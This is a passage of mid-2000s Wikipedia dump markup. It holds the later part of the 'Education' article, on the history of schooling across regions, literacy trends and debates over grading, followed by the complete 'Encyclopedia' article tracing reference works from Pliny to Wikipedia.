In the West, the origins of education were heavily influenced by the specific organized religion: [[priest]]s and [[monk]]s realised the importance of promoting positive virtues in the young and founded, maintained, and staffed [[school]] systems. In [[Europe]], many of the first [[universities]] have [[Catholic]] roots. Following the [[Reformation]] in [[Scotland]] the newly established national [[Church of Scotland]] set out a programme for spiritual reform in January [[1561]] setting the principle of a schoolteacher for every parish church and free education for the poor. In 1633 an Act of the [[Parliament of Scotland]] introduced a tax to pay for this programme, and by the end of the [[17th century]] [[education in Scotland]] brought [[literacy]] to much of the population, with the system being used by all except the nobility. In the german language area there are two words for education: Bildung (which means cultivation, formation and creation) and Erziehung (which means breeding and instructing).

During and following the [[Age of Enlightenment]] people largely forgot the relationship between religion and education. [[Jean-Jacques Rousseau]] fuelled an influential early-[[Romanticism]] reaction to formalised religion-based education at a time when the concept of [[childhood]] had started to become popular as a distinct aspect of [[child development|human development]].

The [[Polish-Lithuanian Commonwealth]]'s [[Commission of National Education]] (Polish: ''Komisja Edukacji Narodowej'', Lithuanian: ''Nacionaline Edukacine Komisija'') formed in [[1773]] counts as the first [[Ministry of Education]] in the history of mankind.

Conventional social history narrates how by about the beginning of the [[19th century]] the [[industrial revolution]] a demand for masses of disciplined, inter-changeable [[worker]]s  possessing  minimal literacy became commonplace. In these circumstances, the [[state]] began to mandate and dictate attendance at standardised schools with a state-ordained curriculum. The general and [[vocational education]] paths of the [[20th century]] soon emerged. With increasing economic specialisation demanding increasingly specialised [[skill]]s from a population, children spent longer periods in formal education before entering or while engaged in the [[workforce]].

=== China ===
Education in China began with the Chinese classic texts, rather than organized religion. The early Chinese state depended upon literate, educated officials for operation of the empire, and an [[imperial examination|imperial examination system]] was established in the [[Han Dynasty]] (206 BC-220) for evaluating and selecting officials. This merit-based system gave rise to schools that taught the classics and continued in use for 2,000 years, until the end the [[Qing Dynasty]], and was abolished in [[1911]] in favour of Western education methods.

=== Japan ===
{{main|History of education in Japan}}
The origins of education in [[Japan]] are closely related to [[religion]]. Schooling was conducted at  [[Shaolin|temples]] for youngsters who wanted to study [[Buddhism]] to become [[priest]]s.  Later, children who were willing to study started to meet at places called, &quot;Tera-koya&quot; (literally meaning temple huts) and learned how to read and write [[Japanese language|Japanese]].

=== India ===
{{main|Education in India}}
India has a long history of organized education. The [[Gurukul]] system of education is one of the oldest on earth, and was dedicated to the highest ideals of all-round human development: physical, mental and spiritual. Gurukuls were traditional Hindu residential schools of learning; typically the teacher's house or a monastery. Education was free, but students from well-to-do families payed Gurudakshina, a voluntary contribution after the completion of their studies. At the Gurukuls, the teacher imparted knowledge of Religion, Scriptures, [[Hindu Philosophy|Philosophy]], [[Sanskrit Literature|Literature]], Warfare, Statecraft, [[Ayurveda|Medicine]] Astrology and History (the Sanskrit word &quot;[[Itihaas]]&quot; means History). The first millennium and the few centuries preceding it saw the flourishing of higher education at [[Nalanda]], [[Takshashila University]], [[Ujjain]], &amp; [[Vikramshila]] Universities. Art, Architecture, Painting, Logic, Grammar, Philosophy, Astronomy, Literature, [[Buddhism]], [[Hinduism]], [[Arthashastra]] (Economics &amp; Politics), Law, and Medicine were among the subjects taught and each university specialized in a particular field of study. Takshila specialized in the study of medicine, while Ujjain laid emphasis on astronomy. Nalanda, being the biggest centre, handled all branches of knowledge, and housed up to 10,000 students at its peak. [http://www.infinityfoundation.com/mandala/t_es/t_es_goyal_education.htm British records] show that education was widespread in the 18th century, with a school for every temple, mosque or village in most regions of the country. The subjects taught included Reading, Writing, Arithmetic, Theology, Law, Astronomy, Metaphysics, Ethics, Medical Science and Religion. The schools were attended by students representative of all classes of society. The current system of education, with its western style and content, was introduced &amp; funded by the British in the 20th century, following recommendations by Macaulay. Traditional structures were not recognized by the British govt and have been on the decline since. [[Mahatma Gandhi|Gandhi]] is said to have described the traditional educational system as a beautiful tree that was destroyed during the British rule.

=== Recent world-wide trends ===
Overall, [[illiteracy]] has greatly decreased in recent years.

Illiteracy and the percentage of populations without any schooling have decreased in the past several decades. For example, the percentage of population without any schooling decreased from 36% in 1960 to 25% in 2000.

Among developing countries, illiteracy and percentages without schooling in [[2000]] stood at about half the 1970 figures.  Among developed countries, illiteracy rates decreased from 6 % to 1 %, and percentages without schooling decreased from 5 to 2.

Illiteracy rates in less economically developed countries ([[LEDC]]s) surpassed those of more economically developed countries ([[MEDC]]s) by a factor of 10 in 1970, and by a factor of about 20 in 2000.  Illiteracy decreased greatly in LDCs, and virtually disappeared in MDCs.  Percentages without any schooling showed similar patterns.

Percentages of the population with no schooling varied greatly among LDCs in 2000, from less than 10 % to over 65 %.  MDCs had much less variation, ranging from less than 2 % to 17 %.

{{Education by country}}

== Challenges ==
:''&quot;I think the big mistake in schools is trying to teach children anything, and by using fear as the basic motivation. Fear of getting failing grades, fear of not staying with your class, etc. Interest can produce learning on a scale compared to fear as a nuclear explosion to a firecracker.&quot;'' &lt;br&gt;- [[Stanley Kubrick]]

The goal of education is the transference of [[ideas]] and skills from one to one, one to many, many to many and many to one with the possible high transfer rate and volume of knowledge under the possible shortest time duration at any place and circumstance.
Current education issues include which teaching method(s) are most effective, how to determine what knowledge should be taught, which knowledge is most relevant, and how well the pupil will retain incoming knowledge. Educators such as [[George Counts]] and [[Paulo Freire]] identified education as an inherently political process with inherently political outcomes. The challenge of identifying ''whose'' ideas are transferred and what goals they serve has always stood in the face of formal and informal education.

In addition to the &quot;Three R's&quot;, [[reading (activity)|reading]], [[writing]], and [[arithmetic]], Western primary and secondary schools attempt to teach the basic knowledge of [[history]], [[geography]], [[mathematics]] (usually including [[calculus]] and [[algebra]]), [[physics]], [[chemistry]] and sometimes [[politics]], in the hope that students will retain and use this knowledge as they age or that the skills acquired will be transferrable. The current education system measures competency with tests and assignments and then assigns each student a corresponding grade. The grades usually come in the form of either a letter grade or a percentage, which are intended to represent the amount of all material presented in class that the student understood. 

Educational progressives or advocates of [[unschooling]] often believe that grades do not necessarily reveal the strengths and weaknesses of a student, and that there is an unfortunate lack of [[youth voice]] in the educative process. Some feel the current grading system lowers students' [[self-confidence]], as students may receive poor marks due to factors outside their control. Such factors include poverty, [[child abuse]], and [[prejudice]]d or incompetent teachers.

By contrast, many advocates of a more traditional or &quot;back to basics&quot; approach believe that the direction of reform needs to be the opposite.  Students are not inspired or challenged to achieve success  because of the dumbing down of the curriculum and the replacement of the &quot;canon&quot; with inferior material.  Their view of self-confidence is that it arises not from removing hurdles such as grading, but by making them fair and encouraging students to gain pride from knowing they can jump over these hurdles.

On the one hand, [[Albert Einstein]], the most famous [[physicist]] of the twentieth century, credited with helping us understand the universe better, was not a model school student. He was uninterested in what was being taught, and he did not attend classes all the time. However, his gifts eventually shone through and added to the sum of human knowledge. On the other hand, for millennia those who have been challenged and well-educated in traditional schools have risen to great success and to a lifelong love of learning because their minds were made better and more powerful, as well as because of their mastery of a wide range of skills.

There are a number of highly controversial issues in education. Should some knowledge be forgotten? What should be taught, are we better off knowing how to build nuclear bombs, or is it best to let such knowledge be forgotten? There are also some philosphies, for example [[Transcendentalism]], that would probably reject conventional education in the belief that knowlegde should be gained through purely personal experience.

The cost of higher education in developed countries is increasingly becoming an issue.

=== Developing countries ===
In developing countries, the number and seriousness of the problems faced is naturally greater. People are sometimes unaware of the importance of education, and there is economic pressure from those parents who prioritize their children's making money in the short term over any long-term benefits of education. Recent studies on child labor and poverty have suggested, however, that when poor families reach a certain economic threshold where families are able to provide for their basic needs, parents return their children to school. This has been found to be true, once the threshold has been breached, even if the potential economic value of the children's work has increased since their return to school. Teachers are often paid less than other similar [[profession]]s.

A lack of good universities, and a low acceptance rate for good universities is evident in countries with a relatively high population density. In some countries there are uniform, overstructured, inflexible centralized programs from a central agency that regulates all aspects of education.

*Due to [[globalization]], increased pressure on students in curricular activities
*Removal of a certain percentage of students for improvisation of academics (usually practised in schools, after 10th grade)

India however is starting to develop technologies that will skip land based phone and internet lines. Instead, they have launched a special education satellite that can reach more of the country at a greatly reduced cost. There is also an initiative started by a group out of MIT and supported by several major corporations to develop a [[$100 laptop]].  The laptops should be available by late 2006 or 2007.  The laptops, sold at cost, will enable developing countries to give their children a digital education, and to close the digital divide across the world.

In Africa, [[NEPAD]] has launched an &quot;[[NEPAD e-school programme|e-school programme]]&quot; to provide all 600,000 primary and high schools with computer equipment, learning materials and internet access within 10 years.

Private groups, like [[The Church of Jesus Christ of Latter-day Saints]], are working to give more individuals opportunities to receive education in developing countries through such programs as the [[Perpetual Education Fund]].

== Parental involvement ==
[[Parent|Parental]] involvement is a necessary thing when it comes to a child's educational [[development]]. Early and consistent parental involvement in the child's life is [[critical]] such as reading to children at an early age, teaching patterns, [[interpersonal communication]] skills, exposing them to diverse cultures and the [[community]] around them, educating them on a healthy [[lifestyle]], etc. The socialization and academic education of a child are aided by the involvement of the [[student]], [[parent|parent(s)]], [[teacher|teachers]], and others in the community and extended family.

Academic achievement and parental involvement are strongly linked in the research. Many schools are now beginning program of parental involvement in a more organized fashion, in part due to the [[No Child Left Behind]] legislation from the [[US Department of Education]].

== Prominent educationalists ==
{{col-begin}}
{{col-4}}
*[[Mortimer J. Adler]]
*[[F. Matthias Alexander]]
*[[Aristotle]]
*[[Catherine Baker]]
*[[Benjamin Bloom]]
*[[Garth Boomer]]
*[[Comenius]]
*[[Jim Cummins]]
*[[Caroline Middleton DeCamp]]
*[[Charles-Michel de l'Épée]]
*[[John Dewey]]
*[[Hermann Ebbinghaus]]
{{col-4}}
*[[Erasmus]]
*[[Moshe Feldenkrais]]
*[[Paulo Freire]]
*[[Friedrich Wilhelm August Fröbel]]
*[[Robert M. Gagne]]
*[[Howard Gardner]]
*[[John Taylor Gatto]]
*[[Paul Goodman (writer)|Paul Goodman]]
*[[Kurt Hahn]]
*[[John Caldwell Holt]]
*[[Ivan Illich]]
*[[Hugo Kołłątaj]]


{{col-4}}
*[[Janusz Korczak]]
*[[Jonathan Kozol]]
*[[Joseph Lancaster]]
*[[Horace Mann]]
*[[Alexander Meiklejohn]]
*[[Maria Montessori]]
*[[A.S. Neill]]
*[[Seymour Papert]]
*[[Helen Parkhurst]]
*[[Frank Parsons]]
*[[Ivan Pavlov]]
*[[Johann Heinrich Pestalozzi]]

{{col-4}}
*[[Alec Peterson]]
*[[Jean Piaget]]
*[[Plato]]
*[[Neil Postman]]
*[[Sarvapalli Radhakrishnan]]
*[[Jean-Jacques Rousseau]]
*[[Ted Sizer]]
*[[B.F. Skinner]]
*[[Socrates]]
*[[Rudolf Steiner]]
*[[Jesse Stuart]]
*[[Lev Vygotsky]]
*[[Ted Wragg]]
*[[Gustav Wyneken]]
{{col-end}}

== See also ==

* [[Glossary of education-related terms]]
* [[List of academic disciplines]]
* [[List of education articles by country]]
* [[List of education topics]]
* [[Public Education]]

== References ==
*[http://gsociology.icaap.org/report/socsum.html Brief review of world socio-demographic trends] shows world illiteracy trends.
*{{cite book
 | author=Dharampal
 | title= The Beautiful Tree
 | publisher=Other India Press
 | year=2000
 }}

* Lucas, J. L., Blazek, M. A., &amp; Raley, A. B. (2005). The lack of representation of educational psychology and school psychology in introductory psychology textbooks. ''Educational Psychology, 25'', 347-351.

*{{cite book
 | author=Siljander, Pauli
 | title=Systemaattinen johdatus kasvatustieteeseen
 | publisher=otava
 | year=2002
 | id=ISBN 951-1-18439-3
 }}

== External links ==
{{Template:Sisterlinks|Education}}
*[http://www.edu-cyberpg.com Educational CyberPlayGround Portal] offers K12 education research, products, and services.
* [http://moodle.ed.uiuc.edu/wiked WikEd] is a [[MediaWiki]] set up specificially for educators and education research.
* [http://www.my-education-data.info/education.html Education articles]
* [http://www.lifeofflorida.org/ Learning is For Everyone, Inc.]And Education Resource Organization Supporting Family Choice in Learning
* [http://www.thememoryhole.org/edu/school-mission.htm &quot;The Educational System Was Designed to Keep Us Uneducated and Docile&quot;] Evidence for the intentionally flawed design of the American educational system.
* [http://www.WestEd.org/ WestEd] - Education research, products, and services
* [http://www.publicforuminstitute.org/issues/education/index.htm Education Issues Page]
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-08 ''Dictionary of the History of Ideas'':] Education
* [http://www.onlinedegreesguide.us Online Degrees Guide] - Online Degrees Guide for Bachelors and Associate and Diplomas from US and Canandian Universities.
* [http://www.alexander-tech.com/children.html How the Alexander Technique can help children during their education]
* [http://www.opencourse.info/ Open Course Info] — Freely-available course materials
* [http://www.infed.org/ The Encyclopedia of Informal Education]
* [http://ceh.kitoba.com/mechanism/education1.html The Failures of American Education]
* [http://gsociology.icaap.org/ The Global Social Change Research Project] has links to data about global education trends.
* [http://nakedking.org/education.php Education Interfering with Learning]
* [http://www.european-agency.org/index.html European Agency for Development in Special Needs Education]
* [http://www.indiansaga.info/history/golden_education.html Higher education - Ancient India]
* [http://www.educampus.com Education News]
* [http://tip.psychology.org/ The Theory Into Practice Database]
* [http://parent-involvement-in-schools.com/ Parent Involvement in Schools]
* [http://lists.repec.org/mailman/listinfo/nep-hrm New papers and articles on education and human Capital] a free Newsletter edited by the RePEc academic Project
* [http://www.chabad.org/library/article.asp?AID=42809 Education in Judaism]

{{Education}}
{{social sciences-footer}}

[[Category:Education| ]]
[[Category:Society]]
[[Category:Applied sciences]]
[[Category:Social sciences]]
&lt;!-- cats Applied sciences &amp; Social sciences added here to avoid category loop --&gt;
&lt;!-- [[Category:History of education]] redundant --&gt;

[[an:Educazión]]
[[ar:تعليم]]
[[ast:Educación]]
[[bg:Образование]]
[[bn:শিক্ষা]]
[[ca:Educació]]
[[ceb:Edukasyon]]
[[cs:Vzdělání]]
[[da:Uddannelse]]
[[de:Bildung]]
[[eo:Eduko]]
[[es:Educación]]
[[fa:آموزش]]
[[fr:Éducation]]
[[ga:Oideachas]]
[[he:חינוך]]
[[ia:Education]]
[[id:Pendidikan]]
[[it:Educazione]]
[[iu:ᐃᓕᓐᓂᐊᖅᑐᓕᕆᓂᖅ]]
[[ja:教育]]
[[ko:교육]]
[[lb:Educatioun]]
[[li:Ongerwies]]
[[lt:Švietimas]]
[[mk:Образование]]
[[ms:Pendidikan]]
[[nl:Onderwijs]]
[[no:Utdannelse]]
[[pl:Edukacja]]
[[pt:Educação]]
[[ro:Educaţie]]
[[ru:Образование]]
[[simple:Education]]
[[sl:Izobraževanje]]
[[sr:Образовање]]
[[th:การศึกษา]]
[[tl:Edukasyon]]
[[tr:Eğitim]]
[[uk:Освіта]]
[[vi:Giáo dục]]
[[vo:Dugäl]]
[[zh:教育]]</text>
    </revision>
  </page>
  <page>
    <title>Encyclopedia</title>
    <id>9253</id>
    <revision>
      <id>42015733</id>
      <timestamp>2006-03-03T05:57:13Z</timestamp>
      <contributor>
        <username>Stbalbach</username>
        <id>87883</id>
      </contributor>
      <comment>americans use it to</comment>
      <text xml:space="preserve">[[Image:Brockhaus Lexikon.jpg|right|thumb|300px|Brockhaus Konversations-Lexikon, 1902]]
An '''encyclopedia''' (alternatively '''encyclopaedia''') is a written [[compendium]] of [[knowledge]]. The term comes from the [[Ancient Greek|Classical Greek]] {{polytonic|ἐγκύκλιος παιδεία}} (''enkuklios paideia''), literally &quot;a rounded education.&quot; Some encyclopedias are titled '''cyclopaedia''', a now somewhat archaic form of the word. For a list of notable encyclopedias in history, see ''[[list of encyclopedias]]''.
==General definition==
[[Image:Ad Encyclopaedia-Britannica 05-1913.jpg|thumb|300px|right|1913 advertisement for [[Encyclopædia Britannica]].]]
Four major elements define an encyclopedia: its subject matter, its scope, its method of organization, and its method of production.

*Encyclopedias can be general, containing articles on topics in many different fields (the [[English language|English-language]] ''[[Encyclopædia Britannica]]'' and [[German language|German]] ''[[Brockhaus encyclopedia|Brockhaus]]'' are well-known examples), or they can specialize in a particular field (such as an encyclopedia of [[medicine]], [[philosophy]], or [[law]]). There are also encyclopedias that cover a wide variety of topics from a particular cultural, ethnic, or national perspective, such as the ''[[Great Soviet Encyclopedia]]'' or ''[[Encyclopaedia Judaica]]''.
*Works of encyclopedic scope aim to convey the important accumulated knowledge for their subject domain.  Such works have been envisioned and attempted throughout much of human history,  but the term ''encyclopedia'' was first used to refer to such works in the [[16th century]].  The first general encyclopedias that succeeded in being both authoritative as well as encyclopedic in scope appeared in the [[18th century]]. Every encyclopedic work is, of course, an abridged version of all knowledge, and works vary in the breadth of material and the depth of discussion.  The target audience may influence the scope; a children's encyclopedia will be narrower than one for adults.
*Some systematic method of organization is essential to making an encyclopedia usable as a work of reference. There have historically been two main methods of organizing printed encyclopedias: the [[alphabetical order|alphabetical]] method (consisting of a number of separate articles, organised in alphabetical order), or organization by [[hierarchy|hierarchical]] categories. The former method is today the most common by far, especially for general works. The fluidity of electronic media, however, allows new possibilities for multiple methods of organization of the same content. Further, electronic media offer previously unimaginable capabilities for search, indexing and cross reference. The epigraph from [[Horace]] on the title page of the 18th-century ''Encyclopédie'' suggests the importance of the structure of an encyclopedia: &quot;What grace may be added to commonplace matters by the power of order and connection.&quot;
*As modern multimedia and the information age has evolved, they have had an ever-increasing effect on the collection, verification, summation, and presention of information of all kinds. Projects such as [[h2g2]] and [[Wikipedia]] are examples of new forms of the encyclopedia as information retrieval becomes more simple.

The encyclopedia as we recognize it today developed from the [[dictionary]] in the 18th century. A dictionary is primarily focused on words and their definition, and typically provides limited information, analysis or background for the word defined. While it may offer a definition, it may leave the reader still lacking in understanding the meaning or import of a term, and how the term relates to a broader field of knowledge.

To address those needs, an encyclopedia seeks to discuss each subject in more depth and convey the most relevant accumulated knowledge on that subject, given the overall length of the particular work. An encyclopedia also often includes many maps and illustrations, as well as bibliography and statistics.

Some works titled &quot;dictionaries&quot; are actually more similar to encyclopedias, especially those concerned with a particular field (such as the ''[[Dictionary of the Middle Ages]]'', the ''[[Dictionary of American Naval Fighting Ships]]'', and ''[[Black's Law Dictionary]]''). The ''[[Macquarie Dictionary]]'', [[Australia]]'s national dictionary, became an [[encyclopedic dictionary]] after its first edition in recognition of the use of proper nouns in common communication, and the words derived from such proper nouns.

==Early encyclopedic works==
The idea of collecting all of the world's knowledge into a single work was an elusive vision for centuries. Many writers of antiquity (such as [[Aristotle]]) attempted to write comprehensively about all human knowledge. One of the most significant of these early encyclopedists was [[Pliny the Elder]] (first century CE), who wrote the [[Naturalis Historia]] (Natural History), a 37-volume account of the natural world that was extremely popular in western Europe for much of the Middle Ages.

The first Christian encyclopedia was [[Cassiodorus]]' ''Institutiones'' (560 CE) which inspired St. [[Isidore of Seville]]'s ''[[Etymologiae]]'' (636) which became the most influential encyclopedia of the [[Early Middle Ages]]. The ''[[Bibliotheca (Photius)|Bibliotheca]]'' by the [[Patriarch]] [[Photius]] (9th century) was the earliest [[Byzantine Empire|Byzantine]] work that could be called an encyclopedia. [[Bartholomeus de Glanvilla]]'s ''De proprietatibus rerum'' (1240) was the most widely read and quoted encyclopedia in the [[High Middle Ages]] while [[Vincent of Beauvais]]'s ''Speculum Majus'' (1260) was the most ambitious encyclopedia in the late-medieval period at over 3 million words.

The [[Early Muslim philosophy|early Muslim compilations of knowledge]] in the middle ages included many comprehensive works, and much development of what we now call [[scientific method]], [[historical method]], and [[citation]]. Notable works include [[Razi|Abu Bakr al-Razi]]'s encyclopedia of science, the [[Mutazilite]] [[Al-Kindi]]'s prolific output of 270 books, and [[Ibn Sina]]'s medical encyclopedia, which was a standard reference work for centuries. Also notable are works of universal history (or sociology) from [[Asharite]]s, [[al-Tabri]], [[Masudi|al-Masudi]], [[Ibn Rustah]], [[al-Athir]], and [[Ibn Khaldun]], whose [[The Muqadimmah|Muqadimmah]] contains cautions regarding trust in written records that remain wholly applicable today. These scholars had an incalculable influence on methods of research and editing, due in part to the Islamic practice of [[isnad]] which emphasized fidelity to written record, checking sources, and skeptical inquiry.

The [[Chinese emperor]] [[Cheng-Zu]] of the [[Ming Dynasty]] oversaw the compilation of the [[Yongle Encyclopedia]], one of the largest encyclopedias in history, which was completed in 1408 and comprised over 11,000 handwritten volumes, of which only about 400 now survive. In the succeeding dynasty, emperor [[Qianlong]] of the [[Qing Dynasty]] personally composed 40,000 poems as part of a 4.7 million page library in 4 divisions, including thousands of essays. It is instructive to compare his title for this knowledge, ''Watching the waves in a Sacred Sea'' to a Western-style title for all knowledge.  Encyclopedic works, both in imitation of Chinese encyclopedias and as independent works of their own origin, have been known to exist in Japan since the ninth century C.E.

These works were all hand copied and thus rarely available, beyond wealthy patrons or monastic men of learning: they were expensive, and usually written for those extending knowledge rather than those using it (with some exceptions in medicine).

==Encyclopedias from the 18th to early 20th century ==
The beginnings of the modern idea of the general-purpose, widely distributed printed encyclopedia precede the 18th-century [[encyclopedist]]s. However, Chambers' ''[[Cyclopaedia, or Universal Dictionary of Arts and Sciences]],'' and the ''[[Encyclopédie]]'', ''[[Encyclopædia Britannica]]'' and the ''[[Brockhaus encyclopedia|Conversations-Lexikon]]'' were the first to realize the form we would recognize today, with a comprehensive scope of topics, discussed in depth and organized in an accessible, systematic method. 

The term encyclopaedia was coined by fifteenth century humanists who misread copies of their texts of Pliny and Quintilian, and combined the two Greek words ''enkuklios paideia'' into one word. 

The English physician and philosopher Sir [[Thomas Browne]] specifically employed the word ''encyclopaedia'' as early as 1646 in the preface to the reader to describe his  ''[[Pseudodoxia Epidemica]]'' or ''Vulgar Errors'', a series of refutations of common errors of his age. Browne structured his encyclopaedia upon the time-honoured schemata of the Renaissance, the so-called 'scale of creation' which ascends a hierarchical ladder via the mineral, vegetable, animal, human, planetary and cosmological worlds. Browne's compendium went through no less than five editions, each revised and augmented, the last edition appearing in 1672. ''Pseudodoxia Epidemica''  found itself upon the bookshelves of many educated European readers for throughout the late seventeenth and early eighteenth centuries it was translated into the [[France|French]], [[Netherlands|Dutch]] and [[Germany|German]] languages as well as [[Latin]]. 

[[John Harris]] is often credited with introducing the now-familiar alphabetic format in 1704 with his English ''[[Lexicon technicum]].'' Organized alphabetically, it sought to not merely to explain the terms used in the arts and sciences, but the arts and sciences themselves. [[Isaac Newton|Sir Isaac Newton]] contributed his only published work on chemistry to the second volume of 1710. Its emphasis was on science and, at about 1200 pages, its scope was more that of an encyclopedic dictionary than a true encyclopedia. Harris himself considered it a dictionary; the work is one of the first technical dictionaries in any language. 

[[Ephraim Chambers]] published his ''[[Cyclopaedia, or Universal Dictionary of Arts and Sciences|Cyclopaedia]]'' in 1728. In included a broad scope of subjects, used an alphabetic arrangement, relied on many different contributors and included the innovation of cross-referencing other sections within articles.  Chambers has been referred to as the father of the modern encyclopedia for this two-volume work.

A French translation of Chambers' work inspired the ''[[Encyclopédie]]'', perhaps the most famous early encyclopedia, notable for its scope, the quality of some contributions, and its political and cultural impact in the years leading up to the [[French revolution]].  The ''Encyclopédie'' was edited by [[Jean le Rond d'Alembert]] and [[Denis Diderot]] and published in 17 volumes of articles, issued from 1751 to 1765, and 11 volumes of illustrations, issued from 1762 to 1772.  Five volumes of supplementary material and a two volume index, supervised by other editors, were issued from 1776 to 1780 by [[Charles Joseph Panckoucke]].

The ''Encyclopédie'' in turn inspired the venerable ''[[Encyclopædia Britannica]],'' which had a modest beginning in Scotland: the first edition, issued between 1768 and 1771, had just three hastily completed volumes - A-B, C-L, and M-Z - with a total of 2,391 pages. By 1797, when the third edition was completed, it had been expanded to 18 volumes addressing a full range of topics, with articles contributed by a range of authorities on their subjects.

The ''[[Brockhaus encyclopedia|Conversations-Lexikon]]'' was published in [[Leipzig]] from 1796 to 1808, in 6 volumes. Paralleling other 18th century encyclopedias, the scope was expanded beyond that of earlier publications, in an effort to become comprehensive. But the work was intended not for scientific use, but to give the results of research and discovery in a simple and popular form without extended details. This format, a contrast to the ''[[Encyclopædia Britannica]]'', was widely imitated by later 19th century encyclopedias in Britain, the United States, France, Spain, Italy and other countries. Of the influential late 18th century and early 19th century encyclopedias, the ''Conversations-Lexikon'' is perhaps most similar in form to today's encyclopedias.

The early years of the [[19th century]] saw a flowering of encyclopedia publishing in the United Kingdom, Europe and America. In England ''[[Rees's Cyclopaedia]]'' (1802–1819) contains an enormous amount in information about the industrial and scientific revolutions of the time. A feature of these publications is the high-quality illustrations made by engravers like [[Wilson Lowry]] of art work supplied by specialist draftsmen like [[John Farey, Jr.]] Encyclopaedias were published in [[Scotland]], as a result of the [[Scottish Enlightenment]], for education there was of a higher standard than in the rest of the [[United Kingdom]].

The 17-volume ''[[Grand dictionnaire universel du XIXe siècle]]'' and its supplements were published in [[France]] from 1866 to 1890.

''Encyclopædia Britannica'' appeared in various editions throughout the century, and the growth of [[popular education]] and the [[Mechanics Institutes]], spearheaded by the [[Society for the Diffusion of Useful Knowledge]] led to the production of the ''[[Penny Cyclopaedia]]'', as its title suggests issued in weekly numbers at a penny each like a [[newspaper]]. 

In the early 20th century, the ''Encyclopædia Britannica'' reached its eleventh edition, and inexpensive encyclopedias such as ''[[Harmsworth's Encyclopaedia]]'' and ''[[Everyman's Encyclopaedia]]'' were common.

==Modern encyclopedias==
In the United States, the 1950s and 1960s saw the rise of several large populist encyclopedias, often sold on installment plans.  The best known of these were [[World Book]] and [[Funk and Wagnalls]].

The second half of the [[20th century]] also saw the publication of several encyclopedias that were notable for synthesizing important topics in specific fields, often though new works authored by significant researchers.  Such encyclopedias included '''''The Encyclopedia of Philosophy''''' (first published in 1967 and now in its second edition),  and '''''Elsevier's Handbooks In Economics'''''[http://www.elsevier.com/wps/find/S04.cws_home/books] series.

By the late 20th century, encyclopedias were being published on [[CD-ROM|CD-ROMs]] for use with personal computers.  [[Microsoft]]'s ''[[Encarta]]'' was a landmark example, as it had no print version.  Articles were supplemented with video and audio files as well as numerous high-quality images.  Similar encyclopedias were also being published [[online]], and made available by subscription.

Traditional encyclopedias are written by a number of employed text [[writer|writers]], usually people with an [[academic degree]], but the interactive nature of the Internet allowed for the creation of projects such as [[Everything2]], [[Open Site]], and [[Wikipedia]] which allowed anyone to add, improve, or vandalize content. By late 2005, Wikipedia produced over two million articles in more than 80 languages with contents licensed under the [[copyleft]] [[GNU Free Documentation License]]. However Wikipedia's articles are not necessarily peer reviewed and many of those articles are of a trivial nature. Legitimate concerns have been raised as to the accuracy of information generated through open source projects generally.

Encyclopedias are essentially derivative from what has gone before, and particularly in the 19th century, [[copyright infringement]] was common among encyclopedia editors. However, modern encyclopedias are not merely larger compendia, including all that came before them. To make space for modern topics, valuable material of historic use regularly had to be discarded, at least before the advent of digital encyclopedias. Moreover, the opinions and worldviews of a particular generation can be observed in the encyclopedic writing of the time. For these reasons, old encyclopedias are a useful source of historical information, especially for a record of changes in science and technology.

== Encyclopedia manufacture ==

The encyclopedia's hierarchical structure and evolving nature is particularly adaptable to a [[disk storage|disk]]-based or on-line [[computer]] [[format]], and all major printed encyclopedias had moved to this method of delivery by the end of the 20th century. Disk-based (typically [[CD-ROM|CD-ROM]] format) publications have the advantage of being cheaply produced and extremely portable. Additionally, they can include [[media]] which is impossible in the printed format, such as [[animation]]s, [[sound recording|audio]], and [[video]]. [[Hyperlink]]ing between conceptually related items is also a significant benefit. On-line encyclopedias offer the additional advantage of being (potentially) dynamic: new information can be presented almost immediately, rather than waiting for the next release of a static format (as with a disk- or paper-based publication). Many printed encyclopedias traditionally published annual supplemental volumes or &quot;yearbooks&quot; to provide updates on recent events between new editions, as a partial solution to the problem of currency, but this of course requires the reader check both the main volumes and the supplemental volume or volumes. Some disk-based encyclopedias offer subscription-based access to online updates, which are then integrated with the content already on the user's hard disk in a manner not possible with a printed
encyclopedia.

Information in a printed encyclopedia necessarily needs some form of hierarchical structure. Traditionally, the method employed is to present the information ordered alphabetically by the article title. However with the advent of [[dynamic]] electronic formats the need to impose a pre-determined structure is unnecessary. Nonetheless, most electronic encyclopedias still offer a range of organisational strategies for the articles, such as by subject area or alphabetically.

==Note on spelling==
Owing to [[American and British English spelling differences|differences in American and British English orthographic conventions]], the spellings &quot;encyclopaedia&quot; and &quot;encyclopedia&quot; both see common use in [[Commonwealth English|British and Commonwealth]]- and [[American English|American]]-influenced sources, respectively. (The spelling ''encyclopædia'', with the ''[[æ]]'' [[ligature (typography)|ligature]], is obsolete, although it is preserved in the proper name of the ''Encyclopædia Britannica''.) The [[digraph (orthography)|digraph]] ''ae'', the normal Latin rendering of the Greek [[diphthong]] ''αι,'' is usually changed to ''e'' [[Medieval Latin]], and remains so in American orthography, for example in other words from the root ''paid-'' such as ''paediatrician'' (American ''pediatrician''). Both the British ''[[Oxford English Dictionary]]'' and the U.S. ''[[Webster's Third New International Dictionary]]'' permit both spellings. The citations given in the ''OED'' are roughly evenly divided between the two spellings.

==See also==
*[[List of encyclopedias]] discusses many historical, general and specialized encyclopedias.
*[[Encyclopedic dictionary]]
*[[Encyclopedist]]
*[[Reference work]]

Other types of reference works:
*[[Biographical dictionary]]
*[[Dictionary]]

Theory:
*[[History of science and technology]]
*[[Library and information science]]
*[[Lexicography]]

== Further reading ==
*Collison, Robert, ''Encyclopaedias: Their History Throughout the Ages'', 2nd ed. (New York, London: Hafner, 1966)
*Darnton, Robert, ''The business of enlightenment : a publishing history of the Encyclopédie, 1775-1800'' (Cambridge: Belknap Press, 1979) ISBN 0674087852
*Kafker, Frank A. (ed.), ''Notable encyclopedias of the seventeenth and eighteenth centuries: nine predecessors of the Encyclopédie'' (Oxford: Voltaire Foundation, 1981) ISBN
*Kafker, Frank A. (ed.), ''Notable encyclopedias of the late eighteenth century: eleven successors of the Encyclopédie'' (Oxford: Voltaire Foundation, 1994) ISBN
*Walsh, S. Padraig, ''Anglo-American general encyclopedias: a historical bibliography, 1703-1967'' (New York: Bowker, 1968, 270 pp.) Includes a historical bibliography, arranged alphabetically, with brief notes on the history of many encyclopedias; a chronology; indexes by editor and publisher; bibliography; and 18 pages of notes from a 1965 American Library Association symposium on encyclopedias.
